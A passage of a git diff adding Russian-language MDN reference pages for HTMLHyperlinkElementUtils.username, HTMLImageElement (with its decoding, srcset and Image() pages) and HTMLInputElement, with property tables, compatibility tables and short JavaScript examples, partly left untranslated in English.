+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}} [1]{{CompatGeckoDesktop("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}} [1]{{CompatNo}} [1]{{CompatGeckoMobile("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +

[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.

+ +

[2] С Gecko 22 по Gecko 44, это свойство находилось в URLUtils. Оно было перемещено или в HTMLHyperlinkElementUtils, или напрямую в интерфейс.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlhyperlinkelementutils/username/index.html b/files/ru/web/api/htmlhyperlinkelementutils/username/index.html new file mode 100644 index 0000000000..c4da9f8b58 --- /dev/null +++ b/files/ru/web/api/htmlhyperlinkelementutils/username/index.html @@ -0,0 +1,104 @@ +--- +title: HTMLHyperlinkElementUtils.username +slug: Web/API/HTMLHyperlinkElementUtils/username +tags: + - API + - Experimental + - HTMLHyperlinkElementUtils + - Property + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/username +--- +

{{ApiRef("URL API")}}

+ +

Свойство HTMLHyperlinkElementUtils.username – это {{domxref("USVString")}}, содержащий имя пользователя, указанное перед именем домена.

+ +

Синтаксис

+ +
string = object.username;
+object.username = string;
+
+ +

Примеры

+ +
// Допустим, что документ содержит элемент <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username">
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.username; // Вернет: 'anonymous'
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-hyperlink-username', 'HTMLHyperlinkElementUtils.username')}}{{Spec2('HTML WHATWG')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}{{CompatGeckoDesktop("26")}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("26")}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] С Gecko 26 по Gecko 44, это свойство находилось в URLUtils. Оно было перемещено или в HTMLHyperlinkElementUtils, или напрямую в интерфейс.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlimageelement/decoding/index.html b/files/ru/web/api/htmlimageelement/decoding/index.html new file mode 100644 index 0000000000..f1c6109bcb --- /dev/null +++ b/files/ru/web/api/htmlimageelement/decoding/index.html @@ -0,0 +1,67 @@ +--- +title: HTMLImageElement.decoding +slug: Web/API/HTMLImageElement/decoding +translation_of: Web/API/HTMLImageElement/decoding +--- +
{{APIRef}}
+ +

Свойство decoding интерфейса {{domxref("HTMLImageElement")}} предназначено для указания браузеру, как он должен декодировать изображение.

+ +

Синтаксис

+ +
refStr = imgElem.decoding;
+imgElem.decoding = refStr;
+ +

Значения

+ +

{{domxref("DOMString")}} предоствляет указания по декодированию. Возможные значения:

+ +
+
+
    +
  • sync: Декодировать изображение синхронно для отображения одновременно с другим содержимым.
    • +
  • async: Декодировать содержимое асинхронно для уменьшения задержки в отображении другого содержимого.
    • +
  • auto: Режим по умолчанию, который не отдаёт предпочтения ни одному режиму декодирования, предоставляя браузеру решать, какой режим для пользователя оптимальнее.
    • +
+
+
+ +

Примеры

+ +
var img = new Image();
+img.decoding = 'sync';
+img.src = 'img/logo.png';
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('HTML WHATWG', 'embedded-content.html#dom-img-decoding', 'decoding')}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.HTMLImageElement.decoding")}}

+ +

Смотри также

+ + + +

 

diff --git a/files/ru/web/api/htmlimageelement/image/index.html b/files/ru/web/api/htmlimageelement/image/index.html new file mode 100644 index 0000000000..1c96e0f2d1 --- /dev/null +++ b/files/ru/web/api/htmlimageelement/image/index.html @@ -0,0 +1,36 @@ +--- +title: Image() +slug: Web/API/HTMLImageElement/Image +translation_of: Web/API/HTMLImageElement/Image +--- +
{{ APIRef("HTML DOM") }}
+ +
+ +
Конструктор Image() создает новый экземпляр HTMLImageElement. Эквивалентно document.createElement ('img').
+ +

Конструктор элемента Image

+ +

Имеет два необязательных параметра: ширину и высоту:

+ +
Image([unsigned long width, unsigned long height])
+ +

Пример

+ +
Исходный код:
+ +
var img = new Image(100, 200);
+img.src = 'picture.jpg';
+console.log(img);
+ +
Результат:
+ +
<img width="100" height="200" src="picture.jpg">
+ + + +
+

Примечание: этот конструктор существует только для истории, и возвращает экземпляр HTMLImageElement точно также, как и document.createElement('img').

+
+ +
diff --git a/files/ru/web/api/htmlimageelement/index.html b/files/ru/web/api/htmlimageelement/index.html new file mode 100644 index 0000000000..9aedb53ca9 --- /dev/null +++ b/files/ru/web/api/htmlimageelement/index.html @@ -0,0 +1,348 @@ +--- +title: HTMLImageElement +slug: Web/API/HTMLImageElement +translation_of: Web/API/HTMLImageElement +--- +
{{ApiRef}}
+ +
{{APIRef("HTML DOM")}}
+ +

Интерфейс HTMLImageElement  предоставляет специальные свойства и методы  (расширяя обычный интерфейс {{domxref("HTMLElement")}}  ) для управления вёрсткой и отображением элемента {{HTMLElement("img")}}. 

+ +

{{InheritanceDiagram(600,120)}} 

+ +

Свойства

+ +

Наследует свойства родителя, {{domxref("HTMLElement")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ИмяТипОписание
align {{obsolete_inline}}{{domxref("DOMString")}}Указывает расположение картинки зависящее от окружающего контента. Возможные значения:  "left", "right", "justify", и "center".
alt{{domxref("DOMString")}}Повторяет аттрибут HTML {{htmlattrxref("alt", "img")}} указывающий на запасной контекст картинки.
border {{obsolete_inline}}{{domxref("DOMString")}}Ширина рамки вокруг картинки. Устарело и вместо него следует использовать свойство CSS {{cssxref("border")}}.
complete {{readonlyInline}}{{domxref("Boolean")}}Возвращает true, если браузер закончил загрузку картинки с ошибкой или успешно. Также возвращает true, когда не установлено значение  {{domxref("HTMLImageElement.src", "src")}}, во всех остальных случаях - false.
crossOrigin{{domxref("DOMString")}}Является {{domxref("DOMString")}}, с настройками CORS для этого элемента изображения. Дополнительная информация: Атрибуты настроек CORS.  
currentSrc{{readonlyInline}}{{experimental_inline}}{{domxref("DOMString")}}Возвращает {{domxref("DOMString")}} с URL-адресом текущего изображения (что может измениться, например, в ответ на запросы мультимедиа).
heightunsigned longОтражает атрибут {{htmlattrxref ("height", "img")}} HTML, указывая визуализированную высоту изображения в пикселях CSS.
hspace {{obsolete_inline}}longSpace to the left and right of the image.
isMap{{domxref("Boolean")}}Reflects the {{htmlattrxref("ismap", "img")}} HTML attribute, indicating that the image is part of a server-side image map.
longDesc {{obsolete_inline}}{{domxref("DOMString")}}URI of a long description of the image.
lowSrc {{obsolete_inline}}{{domxref("DOMString")}}A reference to a low-quality (but faster to load) copy of the image.
name {{obsolete_inline}}{{domxref("DOMString")}} 
naturalHeight {{readonlyInline}}unsigned longIntrinsic height of the image in CSS pixels, if it is available; otherwise, 0.
naturalWidth {{readonlyInline}}unsigned longIntrinsic width of the image in CSS pixels, if it is available; otherwise, 0.
src{{domxref("DOMString")}}Reflects the {{htmlattrxref("src")}} HTML attribute, containing the URL of the image.
srcset {{experimental_inline}}  
useMap{{domxref("DOMString")}}Reflects the {{htmlattrxref("usemap", "img")}} HTML attribute, containing a partial URL of a map element.
vspace {{obsolete_inline}}longSpace above and below the image.
widthunsigned longReflects the {{htmlattrxref("width", "img")}} HTML attribute, indicating the rendered width of the image in CSS pixels.
x {{readonlyInline}}{{non-standard_inline}}longThe horizontal offset from the nearest layer. (Mimic an old Netscape 4 behavior)
y {{readonlyInline}}{{non-standard_inline}}longThe vertical offset from the nearest layer. (Mimic an old Netscape 4 behavior)
+ +

Методы

+ +

Наследует методы родителя, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLImageElement.Image()")}}
+
The Image() constructor, taking two optional unsigned long, the width and the height of the resource, creates an instance of HTMLImageElement not inserted in a DOM tree.
+
+ +

Пример

+ +
var img1 = new Image(); // Конструктор HTML5
+img1.src = 'image1.png';
+img1.alt = 'alt';
+document.body.appendChild(img1);
+
+var img2 = document.createElement('img'); // Используем HTMLImageElement
+img2.src = 'image2.jpg';
+img2.alt = 'alt text';
+document.body.appendChild(img2);
+
+// выбираем первое изображение на странице
+alert(document.images[0].src);
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}{{Spec2('HTML WHATWG')}}The following property has been added: srcset.
{{SpecName('HTML5 W3C', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}{{Spec2('HTML5 W3C')}}A constructor (with 2 optional parameters) has been added.
+ The following properties are now obsolete: name, border, align, hspace, vspace, and longdesc.
+ The following properties are now unsigned long, instead of long: height, and width.
+ The following properties have been added: crossorigin, naturalWidth, naturalHeight, and complete.
{{SpecName('DOM2 HTML', 'html.html#ID-17701901', 'HTMLImgElement')}}{{Spec2('DOM2 HTML')}}The lowSrc property has been removed.
+ The following properties are now long, instead of DOMString: height, width, hspace, and vspace.
{{SpecName('DOM1', 'level-one-html.html#ID-17701901', 'HTMLImgElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Совместимость

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Общая поддержка{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
lowSrc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
naturalWidth, naturalHeight{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
crossorigin{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
complete{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
srcset{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
x and y{{CompatVersionUnknown}}{{CompatVersionUnknown}} [1]{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Общая поддержка{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
lowSrc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
naturalWidth, naturalHeight{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
crossorigin{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
complete{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
srcset{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
x and y{{CompatVersionUnknown}}{{CompatVersionUnknown}} [1]{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] The x and y properties were removed in Gecko 7.0 {{geckoRelease("7.0")}} but restored in Gecko 14.0 {{geckoRelease("14.0")}} for compatibility reasons.

+ +

См. также

+ + diff --git a/files/ru/web/api/htmlimageelement/srcset/index.html b/files/ru/web/api/htmlimageelement/srcset/index.html new file mode 100644 index 0000000000..b4a817c4d3 --- /dev/null +++ b/files/ru/web/api/htmlimageelement/srcset/index.html @@ -0,0 +1,126 @@ +--- +title: HTMLImageElement.srcset +slug: Web/API/HTMLImageElement/srcset +translation_of: Web/API/HTMLImageElement/srcset +--- +

{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLImageElement")}} свойство srcset это строка, которая определяет один или несколько строк с источниками изображений, разделённые запятыми (,) и условия для их использования. Каждая строка предлагаемого изображения содержит URL картинки и опциональные ширину или пиксельную плотность которые указывают при каких условия это изображение должно быть использовано вместо основной картинки обозначенной свойством {{domxref("HTMLImageElement.src", "src")}}.

+ +

Свойство srcset, вместе с {{domxref("HTMLImageElement.sizes", "sizes")}}, критически важный атрибут при разработке адаптивных веб-сайтов, ведь они могут использоваться вместе для создания адаптивных страниц, использующих подходящие изображения при определённых условиях.

+ +

Синтаксис

+ +
htmlImageElement.srcset = imageCandidateStrings;
+let srcset = htmlImageElement.srcset;
+
+ +

Значение

+ +

A {{domxref("USVString")}} containing a comma-separated list of one or more image candidate strings to be used when determining which image resource to present inside the {{HTMLElement("img")}} element represented by the HTMLImageElement.

+ +

Each image candidate string must begin with a valid URL referencing a non-interactive graphic resource. This is followed by a comma (,) character and then a condition descriptor that indicates the circumstances in which the indicated image should be used. Space characters, other than the whitespace separating the URL and the corresponding condition descriptor, are ignored; this includes both leading and trailing space, as well as space before or after each comma.

+ +

If the condition descriptor is not provided (in other words, the image candidate provides only a URL), the candidate is used as the fallback if none of the other candidates match. Otherwise, the condition descriptor may take one of two forms:

+ + + +

You may mix and match the two types of descriptor. You must not, however, provide multiple image candidate strings that specify the same descriptor. All of the following are valid image candidate strings:

+ +
"images/team-photo.jpg 1x, images/team-photo-retina.jpg 2x, images/team-photo-full 2048w"
+ +

This string provides versions of an image to be used at the standard pixel density (1x) as well as double that pixel density (2x). Also available is a version of the image for use at a width of 2048 pixels (2048w).

+ +
"header640.png 640w, header960.png 960w, header1024.png 1024w, header.png"
+ +

This string provides versions of a header image to use when the {{Glossary("user agent", "user agent's")}} renderer needs an image of width 640px, 960px, or 1024px. An additional, fallback image candidate is provided without any condition at all, to be used for any other width.

+ +
"icon32px.png 32w, icon64px.png 64w, icon-retina.png 2x icon-ultra.png 3x icon.svg"
+ +

Here, options are provided for an icon at widths of 32px and 64px, as well as at pixel densities of 2x and 3x. A fallback image is provided as an SVG file that should be used in all other cases. Notice that the candidates may use different image types.

+ +

For more information on what image formats are available for use in the {{HTMLElement("img")}} element, see Image file type and format guide.

+ +

Пример

+ +

HTML

+ +

The HTML below indicates that the default image is the 200 pixel wide version of the clock image we use in several places throughout our documentation. Also specified by the srcset attribute is that the 200-pixel version should be used for 1x displays while the 400-pixel version should be used for 2x displays.

+ +
<div class="box">
+  <img src="/files/16797/clock-demo-200px.png"
+       alt="Clock"
+       srcset="/files/16864/clock-demo-200px.png 1x, /files/16797/clock-demo-400px.png 2x">
+</div>
+
+ +

CSS

+ +

The CSS simply specifies that the image and its surrounding box should be 200 pixels square and should have a simple border around it. Also provided is the {{cssxref("word-break")}} attribute, using the break-all value to tell the browser to wrap the string within the width available regardless of where in the string the wrap must occur.

+ +
.box {
+  width: 200px;
+  border: 2px solid rgba(150, 150, 150, 255);
+  padding: 0.5em;
+  word-break: break-all;
+}
+
+.box img {
+  width: 200px;
+}
+ +

JavaScript

+ +

The following code is run within a handler for the {{domxref("Window", "window")}}'s {{domxref("Window.load_event", "load")}} event.  It uses the image's  {{domxref("HTMLImageElement.currentSrc", "currentSrc")}} property to fetch and display the URL selected by the browser from the srcset.

+ +
let box = document.querySelector(".box");
+let image = box.querySelector("img");
+
+let newElem = document.createElement("p");
+newElem.innerHTML = `Image: <code>${image.currentSrc}</code>`;
+box.appendChild(newElem);
+
+ +

Результат

+ +

In the displayed output below, the selected URL will correspond with whether your display results in selecting the 1x or the 2x version of the image. If you happen to have both standard and high density displays, try moving this window between them and reloading the page to see the results change.

+ +

{{EmbedLiveSample("Example", 640, 320)}}

+ +

For additional examples, see our guide to responsive images.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-img-srcset', 'HTMLImageElement.srcset')}}{{Spec2('HTML WHATWG')}}
+ +

Браузерная поддержка

+ + + +

{{Compat("api.HTMLImageElement.srcset")}}

+ +

See also

+ + diff --git a/files/ru/web/api/htmlinputelement/index.html b/files/ru/web/api/htmlinputelement/index.html new file mode 100644 index 0000000000..9d0cf541ff --- /dev/null +++ b/files/ru/web/api/htmlinputelement/index.html @@ -0,0 +1,633 @@ +--- +title: HTMLInputElement +slug: Web/API/HTMLInputElement +translation_of: Web/API/HTMLInputElement +--- +
{{ APIRef("HTML DOM") }}
+ +

Интерфейс HTMLInputElement предоставляет специальные свойства и методы (расширяющие интерфейс {{domxref("HTMLElement")}} который также доступен через наследование) для управления размещением и отображением элементов input.

+ +

Properties

+ +

Наследует свойства своего родителя, {{domxref("HTMLElement")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
НазваниеТипОписание
accept{{domxref("DOMString")}}Reflects the {{ htmlattrxref("accept", "input") }} HTML attribute, containing comma-separated list of file types accepted by the server when {{htmlattrxref("type","input")}} is file.
accessKey{{domxref("DOMString")}}A single character that switches input focus to the control.
align {{obsolete_inline}}{{domxref("DOMString")}}Alignment of the element.
alt{{domxref("DOMString")}}Reflects the {{ htmlattrxref("alt", "input") }} HTML attribute, containing alternative text to use when {{htmlattrxref("type","input")}} is image.
autocapitalize {{experimental_inline}}{{domxref("DOMString")}}Defines capitalization behavior for user input. Valid values are none, off, characters, words, or sentences.
autocomplete{{domxref("DOMString")}}Reflects the {{htmlattrxref("autocomplete", "input")}} HTML attribute, indicating whether the value of the control can be automatically completed by the browser. Ignored if the value of the {{htmlattrxref("type","input")}} attribute is hidden, checkbox, radio, file, or a button type (button, submit, reset, image). Possible values are: +
    +
  • off: The user must explicitly enter a value into this field for every use, or the document provides its own auto-completion method; the browser does not automatically complete the entry.
    • +
  • on: Браузер может автоматически подставить значение основываясь на том, что ранее пользователь вводил в данном в предыдущий раз
    • +
+
autofocus{{domxref("Boolean")}}Reflects the {{ htmlattrxref("autofocus", "input") }} HTML attribute, which specifies that a form control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form element in a document can have the {{htmlattrxref("autofocus","input")}} attribute. It cannot be applied if the {{htmlattrxref("type","input")}} attribute is set to hidden (that is, you cannot automatically set focus to a hidden control).
checked{{domxref("Boolean")}}The current state of the element when {{htmlattrxref("type","input")}} is checkbox or radio.
defaultChecked{{domxref("Boolean")}}The default state of a radio button or checkbox as originally specified in HTML that created this object.
defaultValue{{domxref("DOMString")}}The default value as originally specified in HTML that created this object.
dirName  
disabled{{domxref("Boolean")}}Reflects the {{ htmlattrxref("disabled", "input") }} HTML attribute, indicating that the control is not available for interaction. The input values will not be submitted with the form. See also {{ htmlattrxref("readOnly", "input") }} 
files {{readonlyInline}}{{domxref("FileList")}}A list of selected files.
form {{readonlyInline}}{{domxref("HTMLFormElement")}}The containing form element, if this element is in a form. If this element is not contained in a form element: +
    +
  • {{ HTMLVersionInline(5) }} this can be the {{ htmlattrxref("id", "form") }} attribute of any {{ HTMLElement("form") }} element in the same document. Even if the attribute is set on {{ HTMLElement("input") }}, this property will be null, if it isn't the id of a {{ HTMLElement("form") }} element.
    • +
  • {{ HTMLVersionInline(4) }} this must be null.
    • +
+
formAction{{domxref("DOMString")}}Reflects the {{ htmlattrxref("formaction", "input") }} HTML attribute, containing the URI of a program that processes information submitted by the element. If specified, this attribute overrides the {{ htmlattrxref("action", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.
formEncType{{domxref("DOMString")}}Reflects the {{ htmlattrxref("formenctype", "input") }} HTML attribute, containing the type of content that is used to submit the form to the server. If specified, this attribute overrides the {{ htmlattrxref("enctype", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.
formMethod{{domxref("DOMString")}}Reflects the {{ htmlattrxref("formmethod", "input") }} HTML attribute, containing the HTTP method that the browser uses to submit the form. If specified, this attribute overrides the {{ htmlattrxref("method", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.
formNoValidate{{domxref("Boolean")}}Reflects the {{ htmlattrxref("formnovalidate", "input") }} HTML attribute, indicating that the form is not to be validated when it is submitted. If specified, this attribute overrides the {{ htmlattrxref("novalidate", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.
formTarget{{domxref("DOMString")}}Reflects the {{ htmlattrxref("formtarget", "input") }} HTML attribute, containing a name or keyword indicating where to display the response that is received after submitting the form. If specified, this attribute overrides the {{ htmlattrxref("target", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.
height{{domxref("DOMString")}}Reflects the {{ htmlattrxref("height", "input") }} HTML attribute, which defines the height of the image displayed for the button, if the value of {{htmlattrxref("type","input")}} is image.
indeterminate{{domxref("Boolean")}}Indicates that a checkbox is neither on nor off.
labels {{readonlyInline}}{{domxref("NodeList")}}A list of {{ HTMLElement("label") }} elements that are labels for this element.
list{{domxref("HTMLElement")}}Identifies a list of pre-defined options to suggest to the user. The value must be the id of a {{HTMLElement("datalist")}} element in the same document. The browser displays only options that are valid values for this input element. This attribute is ignored when the {{htmlattrxref("type","input")}} attribute's value is hidden, checkbox, radio, file, or a button type.
max{{domxref("DOMString")}}Reflects the {{ htmlattrxref("max", "input") }} HTML attribute, containing the maximum (numeric or date-time) value for this item, which must not be less than its minimum (min attribute) value.
maxLength longReflects the {{ htmlattrxref("maxlength", "input") }} HTML attribute, containing the maximum length of text (in Unicode code points) that the value can be changed to. The constraint is evaluated only when the value is changed +
Note: If you set maxLength to a negative value programmatically, an exception will be thrown.
+
min{{domxref("DOMString")}}Reflects the {{ htmlattrxref("min", "input") }} HTML attribute, containing the minimum (numeric or date-time) value for this item, which must not be greater than its maximum ({{htmlattrxref("max","input")}} attribute) value.
multiple Reflects the {{ htmlattrxref("multiple", "input") }} HTML attribute, indicating whether more than one value is possible (e.g., multiple files).
name{{domxref("DOMString")}}Reflects the {{ htmlattrxref("name", "input") }} HTML attribute, containing a name that identifies the element when submitting the form.
pattern{{domxref("DOMString")}}Reflects the {{ htmlattrxref("pattern", "input") }} HTML attribute, containing a regular expression that the control's value is checked against. The pattern must match the entire value, not just some subset. Use the {{htmlattrxref("title","input")}} attribute to describe the pattern to help the user. This attribute applies when the value of the {{htmlattrxref("type","input")}} attribute is text, search, tel, url or email; otherwise it is ignored.
placeholder{{domxref("DOMString")}}Reflects the {{ htmlattrxref("placeholder", "input") }} HTML attribute, containing a hint to the user of what can be entered in the control. The placeholder text must not contain carriage returns or line-feeds. This attribute applies when the value of the {{htmlattrxref("type","input")}} attribute is text, search, tel, url or email; otherwise it is ignored.
readOnly{{domxref("Boolean")}} +

Reflects the {{ htmlattrxref("readonly", "input") }} HTML attribute, indicating that the user cannot modify the value of the control.
+ {{HTMLVersionInline(5)}}This is ignored if the value of the {{htmlattrxref("type","input")}} attribute is hidden, range, color, checkbox, radio, file, or a button type.

+
required{{domxref("Boolean")}}Reflects the {{ htmlattrxref("required", "input") }} HTML attribute, indicating that the user must fill in a value before submitting a form.
selectionDirection{{domxref("DOMString")}}The direction in which selection occurred. This is "forward" if selection was performed in the start-to-end direction of the current locale, or "backward" for the opposite direction. This can also be "none" if the direction is unknown."
selectionEndunsigned longThe index of the end of selected text.
selectionStartunsigned longThe index of the beginning of selected text. When nothing is selected, this is also the caret position inside of the <input> element.
sizeunsigned longReflects the {{ htmlattrxref("size", "input") }} HTML attribute, containing size of the control. This value is in pixels unless the value of {{htmlattrxref("type","input")}} is text or password, in which case, it is an integer number of characters. {{ HTMLVersionInline(5) }} Applies only when {{htmlattrxref("type","input")}} is set to text, search, tel, url, email, or password; otherwise it is ignored.
src{{domxref("DOMString")}}Reflects the {{ htmlattrxref("src", "input") }} HTML attribute, which specifies a URI for the location of an image to display on the graphical submit button, if the value of {{htmlattrxref("type","input")}} is image; otherwise it is ignored.
step{{domxref("DOMString")}}Reflects the {{ htmlattrxref("step", "input") }} HTML attribute, which works with {{htmlattrxref("min","input")}} and {{htmlattrxref("max","input")}} to limit the increments at which a numeric or date-time value can be set. It can be the string any or a positive floating point number. If this is not set to any, the control accepts only values at multiples of the step value greater than the minimum.
tabIndexlongThe position of the element in the tabbing navigation order for the current document.
type{{domxref("DOMString")}}Reflects the {{ htmlattrxref("type", "input") }} HTML attribute, indicating the type of control to display. See {{ htmlattrxref("type", "input") }} attribute of {{ HTMLElement("input") }} for possible values.
useMap {{ obsolete_inline }}{{domxref("DOMString")}}A client-side image map.
validationMessage {{readonlyInline}}{{domxref("DOMString")}}A localized message that describes the validation constraints that the control does not satisfy (if any). This is the empty string if the control is not a candidate for constraint validation ({{htmlattrxref("willValidate","input")}} is false), or it satisfies its constraints.
validity {{readonlyInline}}{{domxref("ValidityState")}}The validity state that this element is in. 
value{{domxref("DOMString")}} +

Current value in the control.

+ +
+

Note: for certain input types the returned value might not match the value the user has entered. For example, if the user enters a non-numeric value into an <input type="number">, the returned value might be an empty string instead.

+
+
valueAsDate{{domxref("Date")}}The value of the element, interpreted as a date, or null if conversion is not possible.
valueAsNumberdoubleThe value of the element, interpreted as one of the following in order: +
    +
  1. a time value
    2. +
  2. a number
    3. +
  3. NaN if conversion is not possible
    4. +
+
width{{domxref("DOMString")}}Reflects the {{ htmlattrxref("width", "input") }} HTML attribute, which defines the width of the image displayed for the button, if the value of {{htmlattrxref("type","input")}} is image.
willValidate{{domxref("Boolean")}}Indicates whether the element is a candidate for constraint validation. It is false if any conditions bar it from constraint validation.
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("HTMLElement")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Name & ArgumentsReturnDescription
blur()voidRemoves focus from input; keystrokes will subsequently go nowhere.
checkValidity(){{domxref("Boolean")}}Returns false if the element is a candidate for constraint validation, and it does not satisfy its constraints. In this case, it also fires an {{event("invalid")}} event at the element. It returns true if the element is not a candidate for constraint validation, or if it satisfies its constraints.
click()voidSimulates a click on the element.
focus()voidFocus on input; keystrokes will subsequently go to this element.
mozSetFileArray(files){{non-standard_inline}}voidSets the files selected on the input to the given array of File objects.  This is an alternative to mozSetFileNameArray which can be used in frame scripts: a chrome script can open files as File objects and send them via message manager.
mozGetFileNameArray(length, filenames){{non-standard_inline}}voidReturns an array of all the file names from the input.
mozSetFileNameArray(filenames, length){{non-standard_inline}}voidSets the filenames for the files selected on the input.  Not for use in frame scripts, because it accesses the filesystem.
select()voidSelects the input text in the element, and focuses it so the user can subsequently replace the whole entry.
setCustomValidity(error)voidSets a custom validity message for the element. If this message is not the empty string, then the element is suffering from a custom validity error, and does not validate.
setSelectionRange(selectionStart, selectionEnd, [optional] selectionDirection)voidSelects a range of text in the element (but does not focus it). The optional selectionDirection parameter may be "forward" or "backward" to establish the direction in which selection was set, or "none" if the direction is unknown or not relevant. The default is "none". Specifying a selectionDirection parameter sets the value of the selectionDirection property.
setRangeText(replacement, [optional] start, [optional] end, [optional] selectMode)voidReplaces a range of text with the new text. Supported input types: text, search, url, tel, password.
stepDown(n)voidDecrements the {{htmlattrxref("value","input")}} by ({{htmlattrxref("step","input")}} * n), where n defaults to 1 if not specified. Throws an INVALID_STATE_ERR exception: +
    +
  • if the method is not applicable to for the current {{htmlattrxref("type","input")}} value.
    • +
  • if the element has no {{htmlattrxref("step","input")}} value.
    • +
  • if the {{htmlattrxref("value","input")}} cannot be converted to a number.
    • +
  • if the resulting value is above the {{htmlattrxref("max","input")}} or below the {{htmlattrxref("min","input")}}. 
    • +
+
stepUp(n)voidIncrements the {{htmlattrxref("value","input")}} by ({{htmlattrxref("step","input")}} * n), where n defaults to 1 if not specified. Throws an INVALID_STATE_ERR exception: +
    +
  • if the method is not applicable to for the current {{htmlattrxref("type","input")}} value.
    • +
  • if the element has no {{htmlattrxref("step","input")}} value.
    • +
  • if the {{htmlattrxref("value","input")}} cannot be converted to a number.
    • +
  • if the resulting value is above the {{htmlattrxref("max","input")}} or below the {{htmlattrxref("min","input")}}.
    • +
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
